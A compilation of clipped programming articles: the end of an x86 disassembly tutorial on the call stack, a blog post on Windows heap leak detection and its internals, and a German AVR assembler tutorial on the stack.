This is the first bit of disassembly that directly correlates with the code that we can see at the C/C++ level.
1
2
3
4
5
6
7
8
     9:     int iResult = 0;
01311289  mov         dword ptr [ebp-4],0  
    10:     iResult = AddOneTo( iResult );
01311290  mov         eax,dword ptr [ebp-4]  
01311293  push        eax  
01311294  call        0131101E  
01311299  add         esp,4  
0131129C  mov         dword ptr [ebp-4],eax
So, as we should all be familiar with from getting over our fear of disassembly line 2 in the above code is setting iResult, which we can see is within our current stack frame at adress [ebp-4] in the Stack.
The rest of the instructions are setting up to call the function AddOneTo(), calling it, and assigning to iResult from its return value.
· line 4: is moving the value of iResult into the eax register.
· line 5: is pushing the value of iResult from eax onto the top of the stack (which also decrements esp). This is storing a copy of the value of iResult on the stack as the function parameter to AddOneTo().
· line 6: is calling to address 0131101Eh. This instruction causes the function AddOneTo() to be called. It first pushes the address 01311299h onto the Stack (which is the memory address of the instruction at line 7), and then it jumps program execution to the instruction at 0131101Eh.
· line 7: When the function called by line 6 returns, the function parameter pushed onto the Stack in line 5 must be removed so the Stack state is as it was before AddOneTo() was called. To achieve this we add 4 to esp – this has the same effect on esp as pop, but we don’t care about the value so it makes sense to adjust esp directly. I assume this is also more efficient, but I’ve never looked into it.
· line 8: moves the value in eax into [ebp-4] where we know that iResult is stored. The standard “stdcall” convention for win32 x86 code specifies that eax is used to return values from functions so this line is assigning the return value of AddOneTo() to iResult.
 
Calling AddOneTo()
Let’s just review the instructions involved in calling AddOneTo() in detail:
     9:     int iResult = 0;
01311289  mov         dword ptr [ebp-4],0  
    10:     iResult = AddOneTo( iResult );
01311290  mov         eax,dword ptr [ebp-4]  
01311293  push        eax  
01311294  call        0131101E
1. A copy of iResult’s value is pushed onto the stack (via eax) as the parameter for AddOneTo().
2. push moves esp by 4 bytes (i.e. 32 bits) then stores its operand at that address, after the push instruction the value of iResult is stored in the address [esp].
3. call pushes the address of the next instruction to execute after the function returns (the return address – 01311299h) onto the Stack, and then jumps execution to the address 0131101Eh.
4. The copy of iResult’s value is now at [esp+4], and the return address is at [esp].
At this point, the Stack looks like this:

state of the Stack immediately after the call to AddOneTo() is made from main()
The code at the address 0131101Eh that has been called looks like this:
1
2
AddOneTo:
0131101E  jmp         01311250
I have to confess this is confusing. This instruction simply makes the code execution jump again, this time to the disassembly that represents the actual function body of AddOneTo(), which is at 01311250h. Why call to an instruction that does another jump?
If you step through this yourself, you’ll notice that the disassembly around this function appears to be a collection of goto style labels. This is because they are. You’ll also notice that the instructions associated with each label are jumping elsewhere. Clearly we’re looking at some sort of “jump table”.
The reason for this? Since I used the default debug configuration build settings; the option “Enable Incremental Linking” is set to “Yes”.
Incremental linking makes linking faster (apparently), but clearly introduces a small overhead to all function calls. This is the sort of thing you might possibly want to consider turning off in the build options – but you’d want to profile it to to make an informed decision as to its impact either way before doing so.
The jmp instruction doesn’t disturb the Stack, so no harm done really (other than the likely instruction cache miss introduced by the incremental link’s jump table).
 
Getting at the parameter passed to AddOneTo()
So, at last, we come to the disassembly of the body of AddOneTo():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
     1: int AddOneTo( int iParameter )
     2: {
01311250  push        ebp  
01311251  mov         ebp,esp  
01311253  sub         esp,44h  
01311256  push        ebx  
01311257  push        esi  
01311258  push        edi  
     3:     int iLocal = iParameter + 1;
01311259  mov         eax,dword ptr [ebp+8]  
0131125C  add         eax,1  
0131125F  mov         dword ptr [ebp-4],eax  
     4:     return iLocal;
01311262  mov         eax,dword ptr [ebp-4]  
     5: }
01311265  pop         edi  
01311266  pop         esi  
01311267  pop         ebx  
01311268  mov         esp,ebp  
0131126A  pop         ebp  
0131126B  ret
We’re already familar with the preamble (lines 3 to 8) and postamble (lines 16 to 20) which are identical to that of main().
Line 10 is much more interesting, as it gets the function parameter iParameter off the stack. Note the positive offset from ebp – this means that the address it is moving a value from into eax is outside this function’s stack frame.
As we established earlier, when we jumped to the address of this function, the address esp pointed to contained the return address, and a copy of the local variable iResult (i.e was stored at [esp+4].
The first instruction in the preamble is a push, which changes esp by a further 4 bytes; so immediately after line 3 the value of iResult – or iParameter as it is refered to in this function – is now at [esp+8].
The next instruction moves the value of esp into ebp, so the value of iReturn passed as a parameter to this function is now also at [ebp+8] – which is exactly where line 10 is accessing it from.
So now we know how arguments are passed to functions. Win!
Since this is the most data that this program ever puts on the Stack, we should take a look at a snapshot of the Stack so we can see exactly where everything is:

state of the Stack immediately after AddOneTo() preamble
 
Returning the result of AddOneTo()
Ignoring the function preamble, we are left with:
1
2
3
4
5
6
7
8
9
10
11
12
13
     3:     int iLocal = iParameter + 1;
01311259  mov         eax,dword ptr [ebp+8]  
0131125C  add         eax,1  
0131125F  mov         dword ptr [ebp-4],eax  
     4:     return iLocal;
01311262  mov         eax,dword ptr [ebp-4]  
     5: }
01311265  pop         edi  
01311266  pop         esi  
01311267  pop         ebx  
01311268  mov         esp,ebp  
0131126A  pop         ebp  
0131126B  ret
· Line 2 moves the value of iParameter from the Stack into eax.
· Lines 3 & 4 are adding one to the parameter value in eax and then moving the content of eax into the address at [ebp-4] which is the address of the local variable iLocal.
· Line 6 sets up the function’s return value by moving the value of iLocal into eax – which is where the stdcall calling convention specifies that return values go. If you remember, the code in main that accesses the return value expects it in eax.
If you’re paying attention you should have noticed that lines 4 and 6 are essentially redundant, since the return value was already in eax after line 3.
You will see this sort of thing all the time when looking at completely unoptimised disassembly -  but it’s not a bad thing after all, when not asked to optimise the compiler’s task is to do exactly what your code has asked it to.
So the final piece of the puzzle in all this is actually returning from one function to another.
We know that the postamble puts the Stack back into the same state it was in immediately before the function’s preamble executed, well we already know what that looks like – because we have a digram of it at T=2:

state of the Stack immediately after the call to AddOneTo() is made from main()
The final ret on line 13 in the code box above causes the return address currently stored on the top of Stack by the call instruction in main() to be popped (adding 4 to esp) and resumes execution at that address – i.e. at the instruction immediately after the call in main().
Phew. There you have it. See, it wasn’t that bad was it?
 
Summary
In this article I’ve taken you through the disassembly of a simple program with a single function call with one parameter and a return value to demonstrate how the stack works.
The sample disassembly we looked at used the x86 stdcall calling convention, and whilst specifics of the disassembly generated to manage the stack will vary between calling conventions, the way the Stack works on any other machine or with any other calling convention should be very similar in principle.
If, for totally random example, you’re working with a platform that uses some variant of the IBM power PC CPU just fire up one of the simple SDK demos and step through the disassembly in a debug build. Whilst the disassembler mnenmonics will be (very) different, just spend a little while with a hardware manual and you should find that it’s doing pretty much the same thing as this x86 code we’ve just looked at.
You’re likely to find some significant variation relative to the x86 assembler we looked since the platform you’re working with almost certianly uses a different function calling convention – for example your compiler might mostly pass arguments via registers and only use the Stack when a function requires a large number of parameters, or uses var args (e.g. printf() ).
Either way, a quick flick through the hardware manuals and / or a search or two through the hardware / compiler manufacturer’s forums and newsgroups should tell get you the details of the calling convention you’re dealing with and enable you to get your head around it.
On top of this, the understanding you now have of the Stack’s mechanisms and data layouts should enable you to properly appreciate why out of bounds array access with local arrays can be so dangerous, and precisely why you should think very carefully before passing pointers to local variables...
 
Next Time...
Believe it or not, we’re not finished with the Stack – we have plenty more to cover about it!
For example:
· What happens when passing > 1 parameter?
· More detail on how local variables use Stack memory.
· How pass by value and return by value work.
· How some of the different x86 function calling conventions work – particularly __fastcall which is more similar to the calling conventions typically used by the ABIs (Application Binary Interface) for console platforms.
Given how long this article has become (and the time it took to write...), I will probably split these into more than one post.
 
Epilogue...
Assuming that you’ve run this code yourself in VS2010 then, if you have some spare time and fancy a bit of a shock, you may want to run this code in a release build configuration with the same breakpoint and look at the disassembly window when the breakpoint is hit.
I found the optimised code generated pretty interesting.
You may also find it fun to see what changes you need to make to the code to force the optimised code to keep the function call and local variables. I certainly did.
 
Thanks
I’d like to thank Bruce, Tiffany, Jonathan, Fabian, and Darren for their feedback on this article. It is definitely much better for it.
 

﻿http://blog.airesoft.co.uk/2010/01/a-whole-heap-of-trouble-part-1/ 
A Whole Heap of Trouble – Part 1 « Just Let It Flow
Created:
10/29/2011 1:49:40 PM
Updated:
10/29/2011 1:49:40 PM
Author:

Tags:
windows Heap


A Whole Heap of Trouble – Part 1
Filed under: Code,Windows — adeyblue @ 4:21 am 

Contents:
  Introduction
  Leak Checking
    XP Functionality
      Enabling
      Stack Traces
    Vista/7 Upgrades
      HEAP_DEBUGGING_INFORMATION
    How it works
      Stack Collection
      Leak Checking
      Fallabilities
  Wrap up
Introduction

The heap manager, every program uses it. Whether hidden behind the CRT, COM, OLE, or the crusty old Local/GlobalAlloc, it’s at the centre of the vast majority of memory related operations. Dealing out memory and reclaiming it are no doubt its most common utilities but it has a few more tricks up its sleeve; some well known, some less so. In this part, the operation of the leak checking facility will be investigated including how to use it, how it works and how its evolved.
Leak Checking – XP Functionality
Enabling
If you were paying attention to MSDN or the DDK when XP was released, you’ll have come across the description of the ShutdownFlags registry value for the infamous Image File Execution Options registry key. I say this because the only useful mention of this value and its purpose has been removed from MSDN despite still being relevant [1]. In an IFEO entry for a program [2], the value and its data enable certain tasks to be performed during clean process termination. The value currently has two modes of operation providing the first line of attack in heap leak checking. Setting it to a data of 1 invokes the leak checking code in ntdll and, by default, produces debugger output like the following when the process shuts down.
HEAP[app.exe]: Inspecting leaks at process shutdown ...
Entry     User      Heap          Size    Req.Size     Flags
------------------------------------------------------------
0016FC98  0016FCA0  00160000     624c8  00000020  busy extra fill user_flag 
00172500  00172508  00160000        58  00000050  busy 
005525B0  005525B8  00550000        88  00000080  busy 
HEAP[app.exe]: 3 leaks detected.
Setting it to 2 or 3 triggers a breakpoint in addition to the above behaviour. While it’s good to know that your app has leaks (or not), I’m sure you’ll agree that a block address and size isn’t much to go on.
Stack Traces
What is really needed to start pinning down the source of the leak is a stack trace of where the allocation was made. Phase 2 of the battle starts by adding another registry entry, the more widely known and documented GlobalFlag value. Its presence controls various app specific or systemwide debug options and is usually controlled by the gflags executable distributed with the Debugging tools for Windows. However, as long as you know the values (here’s the cheat sheet) there’s no reason you can’t add it by hand. The option to enable is “Create user mode stack trace database”, value 0×1000. Setting that value/data in the registry and rerunning the program gives debugger output similar to the following.
HEAP[app.exe]: Inspecting leaks at process shutdown ...
Entry     User      Heap          Size    Req.Size     Flags
------------------------------------------------------------
0016FC98  0016FCA0  00160000     624c8  00000020  busy extra fill user_flag 
00172500  00172508  00160000        58  00000050  busy 
005525B0  005525B8  00550000        88  00000080  busy 
HEAP[app.exe]: 3 leaks detected.
Unfortunate though it is, the leak dumping code doesn’t give a hoot if there are stack traces or not. This is where the previously mentioned breakpoint comes into play. When hit, attach WinDbg and run the “!heap -l” command. The end of the tunnel is now much lighter.
0:000> !heap -l
Searching the memory for potential unreachable busy blocks.
Heap 002e0000
Heap 00010000
Heap 00020000
Heap 00210000
Heap 02300000
Scanning VM ...
Scanning references from 294 busy blocks (0 MBytes) ...
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
002f2730  002f2748  002e0000  002eebd0        28      -           18  LFH;busy  stack_trace
		77cbb234: ntdll!RtlAllocateHeap+0x00000274
		004031a2: app!wmain+0x000000b2
		00409558: app!__tmainCRTStartup+0x000001a8
		0040939f: app!wmainCRTStartup+0x0000000f
		77b61174: kernel32!BaseThreadInitThunk+0x0000000e
		77c9b3f5: ntdll!__RtlUserThreadStart+0x00000070
		77c9b3c8: ntdll!_RtlUserThreadStart+0x0000001b
 
 
002f3bb0  002f3bc8  002e0000  002e0000        68       458        18  busy  stack_trace
		77cbb234: ntdll!RtlAllocateHeap+0x00000274
		75e17589: KERNELBASE!LocalAlloc+0x0000005f
		004031b8: app!wmain+0x000000c8
		00409558: app!__tmainCRTStartup+0x000001a8
		0040939f: app!wmainCRTStartup+0x0000000f
		77b61174: kernel32!BaseThreadInitThunk+0x0000000e
		77c9b3f5: ntdll!__RtlUserThreadStart+0x00000070
		77c9b3c8: ntdll!_RtlUserThreadStart+0x0000001b
 
 
00212620  00212638  00210000  00210000        98       ad0        18  busy  stack_trace
		77cbb234: ntdll!RtlAllocateHeap+0x00000274
		7740ade8: msvcrt!_calloc_impl+0x00000136
		7740ae43: msvcrt!_calloc_crt+0x00000016
		77412015: msvcrt!__onexitinit+0x0000000c
		77411fc8: msvcrt!_cinit+0x0000001e
		77411a94: msvcrt!_core_crt_dll_init+0x000001b2
		7740a48c: msvcrt!_CRTDLL_INIT+0x0000001b
		77c9af24: ntdll!LdrpCallInitRoutine+0x00000014
		77c9fd2e: ntdll!LdrpRunInitializeRoutines+0x0000026f
		77ca90be: ntdll!LdrpInitializeProcess+0x0000138d
		77ca8fc0: ntdll!_LdrpInitialize+0x00000078
		77c9b2c5: ntdll!LdrInitializeThunk+0x00000010
If “!heap -l” doesn’t list the stack traces, “!heap -p -a ⟨blockAddr⟩” will. File and line information can be gotten by issuing a ln command where address is an IP from the stack trace, e.g.
0:000> ln 004031b8
f:\dev-cpp\projects\test\app\app.cpp(29)+0x16
(004031b8) app!wmain+0xc8
Unfortunately though, Visual Studio doesn’t have access to windbg extension commands meaning you have to find the trace manually, which isn’t a fun exercise [3].
And, basic though it is, that’s the common functionality from XP to 7 as far as built-in code about leaks goes.
Vista/7 Upgrades
One detraction from the XP scheme of things is that it’s inflexible. It’s either enabled for all heaps, or none at all, there’s no middle ground. The stack trace collection also has to be explicitly enabled via the registry or in the image header via gflags and captured a static number of frames (32). Things have been redesigned as part of Vista’s upgrades though. The heap manager has sprouted support for finer grained control of debugging and with it, to the delight of non WinDbg users, caller customized printing of stack traces. Best of all, the features can be controlled by a single api, rather than lots of sparsely document registry keys. The main downside being that you still have the set the Shutdownflags in the registry activate the leak checking.
HEAP_DEBUGGING_INFORMATION
Armed with a new info-level value of 0×80000002, HeapSetInformation now takes a HEAP_DEBUGGING_INFORMATION structure to configure the aforementioned options. It is currently not present in the public headers, but can be found in ntdll’s symbols. The layout is as follows (function typedef names are mine):
typedef void (NTAPI*ENUMLEAKPROC)(ULONG always0, HANDLE hHeap, PVOID pBlock, SIZE_T blockSize, ULONG numIps, PVOID* ppStack);
typedef NTSTATUS (NTAPI*INTERCEPTPROC)(HANDLE hHeap, UINT action, UINT stackFramesToCapture, ULONG* pOutput);
 
typedef struct _HEAP_DEBUGGING_INFORMATION
{
    INTERCEPTPROC InterceptorFunction;
    WORD InterceptorValue;
    DWORD ExtendedOptions;
    DWORD StackTraceDepth;
    SIZE_T MinTotalBlockSize;
    SIZE_T MaxTotalBlockSize;
    ENUMLEAKPROC HeapLeakEnumerationRoutine;
} HEAP_DEBUGGING_INFORMATION;
The purpose of the members are:
· InterceptorFunction is of no use to the outside world. Besides 0, it can only be set to three functions internal to ntdll, RtlpStackTracePrefix, RtlpStackTraceDatabaseLogPrefix, and RtlpHeapTrkInterceptor. Fortunately, the second of those is the default option when NULL is specified, and the stack traces are captured via it.
· InterceptorValue is like the above. It is only valid when the above is also valid and non-null, and is used as a number of stack frames to capture for the interceptor.
· ExtendedOptions controls LFH heap debugging. If this is non-zero, the heap passed to HeapSetInformation is converted to a LFH heap if it not one already. The low byte is then used to affect the DebugFlags member of the LFH’s HEAP_BUCKET structures after being doubled, xor’ed with the current flags, and’ed with 6 and xored with the current flags again. I can’t find where they’re used so the effects are unknown.
· StackTraceDepth is the number of ips to capture in the stack traces. Only the LOWORD is used. Setting it to 0 doesn’t enable trace collection, but it doesn’t disable it if active either. If the InterceptorFunction is valid, this member is ignored in favour of interceptorValue.
· MinTotalBlockSize is the minimum bucket size in bytes to apply the above flags to.
· MaxTotalBlockSize is the maximum bucket size to apply the above flags to. If these members are both 0, the debug flags are applied to every LFH bucket.
· HeapLeakEnumerationRoutine is the function called for every leak at program termination, even those without stack traces collected. It is called after all DLL_PROCESS_DETACH notifications have been sent, so it can only be reliably implemented by statically linked exe functions and ntdll exports. Note that this member is only used when NULL is passed as the hHeap parameter in HeapSetInformation.
One thing to keep in mind is that the above options are apply only. Once a specific option is enabled it cannot be turned off, except for the HeapLeakEnumerationRoutine which can be reset to NULL. This little sample shows how to initiate the leak checking on all heaps, and print the traces to the debugger.
// don't forget to add the shutdownflags value to the registry
#include <windows.h>
#include <iostream>
#include <cstring>
 
typedef void (NTAPI*RtlRaiseException)(PEXCEPTION_RECORD);
static RtlRaiseException rtlRaiseException;
 
static const ULONG HeapDebugInformation = 0x80000002;
 
typedef void (NTAPI*ENUMLEAKPROC)(ULONG always0, HANDLE hHeap, PVOID pBlock, SIZE_T blockSize, ULONG numIps, PVOID* ppStack);
typedef NTSTATUS (NTAPI*INTERCEPTPROC)(HANDLE hHeap, UINT action, UINT stackFramesToCapture, PVOID* pOutput);
 
typedef struct _HEAP_DEBUGGING_INFORMATION
{
    INTERCEPTPROC InterceptorFunction;
    WORD InterceptorValue;
    DWORD ExtendedOptions;
    DWORD StackTraceDepth;
    SIZE_T MinTotalBlockSize;
    SIZE_T MaxTotalBlockSize;
    ENUMLEAKPROC HeapLeakEnumerationRoutine;
} HEAP_DEBUGGING_INFORMATION;
 
void DoOutputDebugString(LPCSTR str)
{
	ULONG length = strlen(str) + 1;
	EXCEPTION_RECORD ex = {0};
	ex.ExceptionCode = DBG_PRINTEXCEPTION_C;
	ex.ExceptionAddress = &DoOutputDebugString;
	ex.NumberParameters = 2;
	ex.ExceptionInformation[0] = length;
	ex.ExceptionInformation[1] = reinterpret_cast<ULONG_PTR>(str);
	rtlRaiseException(&ex);
}
 
void NTAPI LeakReport(ULONG, HANDLE hHeap, PVOID pBlock, SIZE_T blockSize, ULONG numIps, PVOID* pStack)
{
    if(pBlock) // enumeration has ended when a NULL block is passed
    {
        char buffer[0x80];
        _snprintf(buffer, sizeof(buffer), "Leaked block at 0x%p of size %Iu from heap 0x%p\n", pBlock, blockSize, hHeap);
        DoOutputDebugString(buffer);
        if(pStack)
        {
            for(ULONG i = 0; i < numIps; ++i)
            {
                _snprintf(buffer, sizeof(buffer), "%lu. 0x%p\n", i + 1, pStack[i]);
                DoOutputDebugString(buffer);
            }
        }
    }
}
 
int main()
{
    rtlRaiseException = (RtlRaiseException)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlRaiseException");
    HANDLE hHeap = GetProcessHeap();
    HEAP_DEBUGGING_INFORMATION hdi = {0};
    hdi.stackTraceDepth = 20;
    hdi.HeapLeakEnumerationRoutine = &LeakReport;
    HeapSetInformation(NULL, (HEAP_INFORMATION_CLASS)HeapDebugInformation, &hdi, sizeof(hdi));
    LPVOID pHeap = HeapAlloc(hHeap, 0, 0xcc);
    std::cout << "pHeap is at 0x" << pHeap << '\n';
    LPVOID pLocal = LocalAlloc(LPTR, 0x123);
    std::cout << "pLocal is at 0x" << pLocal << '\n';
    LPVOID pGlobal = GlobalAlloc(GPTR, 0x456);
    std::cout << "pGlobal is at 0x" << pGlobal << '\n';
    LPVOID pHeap2 = HeapAlloc(hHeap, 0, 0x80);
    std::cout << "pHeap2 is at 0x" << pHeap2 << '\n';
    LPVOID pNew = new char[77];
    std::cout << "pNew is at 0x" << pNew << '\n';
    LPVOID pMalloc = malloc(89);
    std::cout << "pMalloc is at 0x" << pMalloc << '\n';
}
Produces the following console output:
pHeap is at 0x00422518
pLocal is at 0x00422600
pGlobal is at 0x00422740
pHeap2 is at 0x00422BB0
pNew is at 0x00623720
pMalloc is at 0x00623950
And debugger output:
HEAP[app.exe]: Inspecting leaks at process shutdown ...
Leaked block at 0x0041FC28 of size 32 from heap 0x00410000
Leaked block at 0x0041FCA0 of size 32 from heap 0x00410000
Leaked block at 0x00421CD0 of size 32 from heap 0x00410000
Leaked block at 0x00422518 of size 204 from heap 0x00410000
1. 0x76EAB234
2. 0x00EF3ADC
3. 0x00EFB998
4. 0x00EFB7DF
5. 0x75D31174
6. 0x76E8B3F5
7. 0x76E8B3C8
Leaked block at 0x00422600 of size 291 from heap 0x00410000
1. 0x76EAB234
2. 0x75237589
3. 0x00EF3B39
4. 0x00EFB998
5. 0x00EFB7DF
6. 0x75D31174
7. 0x76E8B3F5
8. 0x76E8B3C8
Leaked block at 0x00422740 of size 1110 from heap 0x00410000
1. 0x76EAB234
2. 0x7523C495
3. 0x00EF3B96
4. 0x00EFB998
5. 0x00EFB7DF
6. 0x75D31174
7. 0x76E8B3F5
8. 0x76E8B3C8
Leaked block at 0x00422BB0 of size 128 from heap 0x00410000
1. 0x76EAB234
2. 0x00EF3BFA
3. 0x00EFB998
4. 0x00EFB7DF
5. 0x75D31174
6. 0x76E8B3F5
7. 0x76E8B3C8
Leaked block at 0x003625B8 of size 128 from heap 0x00360000
HEAP[app.exe]: 8 leaks detected.
The four blocks allocated with the Win32 functions were reported with stack traces intact. Four others were allocated before we set up the debugging, including one from a foreign heap. The two CRT allocations didn’t and, with the debug runtimes, will never show up in the output for reasons described later.
How it Works
Stack Collection
On XP, the function that does the stack collection, RtlLogStackBackTrace, is called directly at various places of interest such as heap creation, allocation, freeing and tag creation depending on the values of the globalflags or heap flags as appropriate. The function calls RtlCaptureStackBacktrace to get the most recent 32 entries on the stack, skipping the first. After being captured, the trace is added to a database (RtlpStackTraceDataBase) along with the number of frames, their hash, and number of times encountered for future reference. It returns a WORD sized index into the database to be saved in the allocation header.
With the addition of the above debug options, Vista+ substitutes the hard-coded call to the stack trace collector for a call to one of the predefined interceptors, if one has been specified for the heap. In the HEAP_DEBUGGING_INFORMATION structure, the reason the InterceptorFunction must be one of the three inside ntdll is that only its position in the table of valid functions is saved. At the relevant times, the function at that index is called with contextual data including an enum defining the current operation. The interceptors that take stack traces are only interested in three of the current 8 defined actions (post-allocation, reallocation, deallocation) and operates almost exactly like the XP version except the trace is entered into a structure array (RtlpHeapStackTraceLog) rather than a database.
Leak Checking
After initializing a bunch of variables, leak checking starts off with RtlpReadProcessHeaps. In XP, the function walks all active heaps for busy regions, while in Vista+ it makes use of the new callback system which will be discussed in the next article. These busy regions are linked up to a leak list (RtlpLeakList) before having their address and size added to a map of active process memory (RtlpProcessMemoryMap) to be used later.
Secondarily, RtlpScanProcessVirtualMemory is called to scan the entire virtual address space of the process for page ranges that were writeable when initially allocated, in a committed state, do not have guard status, and aren’t in the memory map. When such a range is found, each pointer size area is checked against the map to see if it lies within a busy entry recorded during the walk. If so, the busy entry is removed from the leak list onto a list of busy blocks (RtlpBusyList). After the virtual scan is finished RtlpScanHeapAllocBlocks takes over and sweeps the entries on the busy list in the same manner as the virtual addresses. After this second scan, entries left in the leak list are considered to be leaks and reported.
Fallabilities
On the unfortunate side, the method described above will never pick up any leaks from the debug CRT, because it keeps a global pointer as the head of a linked list of all allocations. This is picked up during the virtual address scan and its links by the heap scan, disregarding them as leaks. Another downside to the method is that the checks on virtual space are passed by image code pages which are initially mapped as PAGE_EXECUTE_WRITECOPY. This leads to arbitrary chunks of instructions masquerading as valid pointers and their subsequent removal from the leak list.
Wrap Up
There you have it. A hopefully clearer picture of how to use one of Windows’ built-in debugging tool as well as how it goes about its business. Next time we’ll look at more functionality that was introduced in Vista, including a few more new info levels for HeapSetInformation and HeapQueryInformation. 

Notes
[1] The article in question is mirrored in its entirety at OSROnline. The “Built-in User Heap Leak Detection” section mentions the ShutdownFlags value.
[2] Basic setup instructions:
1. Open regedit to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
2. Add a new key that is the same as your app’s file name
3. In the new key, add the ‘ShutdownFlags’ value as a DWORD with data of 3
4. Add a ‘GlobalFlag’ value as a DWORD with a hexadecimal data of 1000
4a. To limit the amount of heap space used for stack traces, add a StackTraceDatabaseSizeInMb value with data of the desired limit. A data of 0 is ignored.
5. Run your app as normal
6. If you didn’t run your app in the debugger, attach it when the breakpoint is hit. This is signified by a “app has stopped working” dialog in Vista+ and by the following dialog in XP:

Breakpoint Messages Box on XP
[3] To find the trace manually, make sure you have the correct symbols, then:
On Windows XP and Server 2003:
// these instructions are generally a formalised version of the process described
// at http://blogs.msdn.com/duetsupport/archive/2009/03/12/adventures-in-analyzing-high-memory-use-on-a-duet-client.aspx
 
1.
Open the callstack window and double-click on the top entry. It should be ntdll.dll!_RtlDetectHeapLeaks@0...
Open a Watch window and type "(_STACK_TRACE_DATABASE**)_RtlpStackTraceDatabase" (without the quotes) for the name.
Expand the entry twice and scroll down to the EntryIndexArray member
 
2.
Using the pointer value from the 'User' column of the leak output and a memory window, mentally go through the following function to get the block's trace index.
USHORT GetTraceIndex(BYTE* pUserPointer)
{
    // this is essentially RtlGetExtraStuffPointer
    BYTE* pBlockHeader = pUserPointer - 8;
    BYTE* returnedPointer = NULL;
    BYTE flag = *(pBlockHeader + 5);
    if(flag & 8)
    {
        returnedPointer = pBlockHeader - 0x10;
    }
    else
    {
        DWORD index = *((WORD*)pBlockHeader);
        returnedPointer = (pBlockHeader + (index * 8)) - 8;
    }
    WORD traceIndex = (*(ULONG_PTR*)returnedPointer) & 0xFFFF;
    return traceIndex;
}
 
3.
Go back to the watch window from step one and copy the address contained in the EntryIndexArray member to the Immediate window.
Add on to it, "-(sizeof(void*)*TraceIndex" without quotes and substituting TraceIndex for the value gained in step two.
Paste the resulting address into a memory window.
On 32-bit machines, the stack trace starts at (offset 0xc) and is (offset 0xa) entries long.
On 64-bit, the stack trace starts at (offset 0x10) and is (offset 0xe) entries long
On Vista / 7, the callstack data is stored with the block, but accessing it isn’t much easier from a manual standpoint. Luckily with the leak callback enabled, you can copy and paste the below code and call it from within the callback. It returns an array of instruction pointers of ‘numIPs’ length.
typedef struct _StackTraceInfo
{
    ULONG unk;
    ULONG_PTR unk2;
    ULONG numFrames;
    PVOID* ips;
} StackTraceInfo;
 
PVOID* GetStackBackTraceFromUserPointer(BYTE* pUserData, ULONG* numIPs)
{
    // start here from a pointer returned from HeapAlloc or the 'User' field of a leak report
    // DWORD amountToRewind = sizeof(void*) * 2;
    // BYTE* pBlockStart = pUserData - amountToRewind;
    // if((*(pBlockStart + amountToRewind - 1)) == 5)
    // {
        // ULONG offsetfromBeginning = (*(pBlockStart + amountToRewind - 2)) * amountToRewind;
        // pBlockStart -= offsetfromBeginning;
    // }
    // the following is essentially RtlpQueryBlockStackTrace
    // start here from the value in the 'Block' field of the leak report
    DWORD heapEntrySize = sizeof(void*) * 2;
    DWORD index = *(pBlockStart + (heapEntrySize - 1));

﻿http://www.mikrocontroller.net/articles/AVR-Tutorial:_Stack 
AVR-Tutorial: Stack - Mikrocontroller.net
Created:
3/18/2011 5:10:21 PM
Updated:
3/18/2011 5:10:21 PM
Author:

Tags:
asm avr stackbof


AVR-Tutorial: Stack
"Stack" bedeutet übersetzt soviel wie Stapel. Damit ist ein Speicher nach dem LIFO-Prinzip ("last in first out") gemeint. Das bedeutet, dass das zuletzt auf den Stapel gelegte Element auch zuerst wieder heruntergenommen wird. Es ist nicht möglich, Elemente irgendwo in der Mitte des Stapels herauszuziehen oder hineinzuschieben.
Bei allen aktuellen AVR-Controllern wird der Stack im RAM angelegt. Der Stack wächst dabei von oben nach unten: Am Anfang wird der Stackpointer (Adresse der aktuellen Stapelposition) auf das Ende des RAMs gesetzt. Wird nun ein Element hinzugefügt, wird dieses an der momentanen Stackpointerposition abgespeichert und der Stackpointer um 1 erniedrigt. Soll ein Element vom Stack heruntergenommen werden, wird zuerst der Stackpointer um 1 erhöht und dann das Byte von der vom Stackpointer angezeigten Position gelesen.
Inhaltsverzeichnis
1 Aufruf von Unterprogrammen
2 Sichern von Registern
3 Sprung zu beliebiger Adresse
4 Weitere Informationen (von Lothar Müller):
[Bearbeiten] Aufruf von Unterprogrammen
Dem Prozessor dient der Stack hauptsächlich dazu, Rücksprungadressen beim Aufruf von Unterprogrammen zu speichern, damit er später noch weiß, an welche Stelle zurückgekehrt werden muss, wenn das Unterprogramm mit ret oder die Interruptroutine mit reti beendet wird.
Das folgende Beispielprogramm (AT90S4433) zeigt, wie der Stack dabei beeinflusst wird:
Download stack.asm
.include "4433def.inc"     ; bzw. 2333def.inc
 
.def temp = r16
 
         ldi temp, RAMEND  ; Stackpointer initialisieren
         out SP, temp
 
         rcall sub1        ; sub1 aufrufen
 
loop:    rjmp loop
 
 
sub1:
                           ; hier könnten ein paar Befehle stehen
         rcall sub2        ; sub2 aufrufen
                           ; hier könnten auch ein paar Befehle stehen
         ret               ; wieder zurück
 
sub2:
                           ; hier stehen normalerweise die Befehle,
                           ; die in sub2 ausgeführt werden sollen
         ret               ; wieder zurück 
.def temp = r16 ist eine Assemblerdirektive. Diese sagt dem Assembler, dass er überall, wo er "temp" findet, stattdessen "r16" einsetzen soll. Das ist oft praktisch, damit man nicht mit den Registernamen durcheinander kommt. Eine Übersicht über die Assemblerdirektiven findet man hier.
Bei Controllern, die mehr als 256 Byte RAM besitzen (z. B. ATmega8), passt die Adresse nicht mehr in ein Byte. Deswegen gibt es bei diesen Controllern das Stack-Pointer-Register aufgeteilt in SPL (Low) und SPH (High), in denen das Low- und das High-Byte der Adresse gespeichert wird. Damit es funktioniert, muss das Programm dann folgendermaßen geändert werden:
Download stack-bigmem.asm
.include "m8def.inc"
 
.def temp = r16
 
         ldi temp, HIGH(RAMEND)            ; HIGH-Byte der obersten RAM-Adresse
         out SPH, temp
         ldi temp, LOW(RAMEND)             ; LOW-Byte der obersten RAM-Adresse
         out SPL, temp
 
         rcall sub1                        ; sub1 aufrufen
 
loop:    rjmp loop
 
 
sub1:
                                           ; hier könnten ein paar Befehle stehen
         rcall sub2                        ; sub2 aufrufen
                                           ; hier könnten auch Befehle stehen
         ret                               ; wieder zurück
 
sub2:
                                           ; hier stehen normalerweise die Befehle,
                                           ; die in sub2 ausgeführt werden sollen
         ret                               ; wieder zurück 
Natürlich ist es unsinnig, dieses Programm in einen Controller zu programmieren. Stattdessen sollte man es mal mit dem AVR-Studio simulieren, um die Funktion des Stacks zu verstehen.
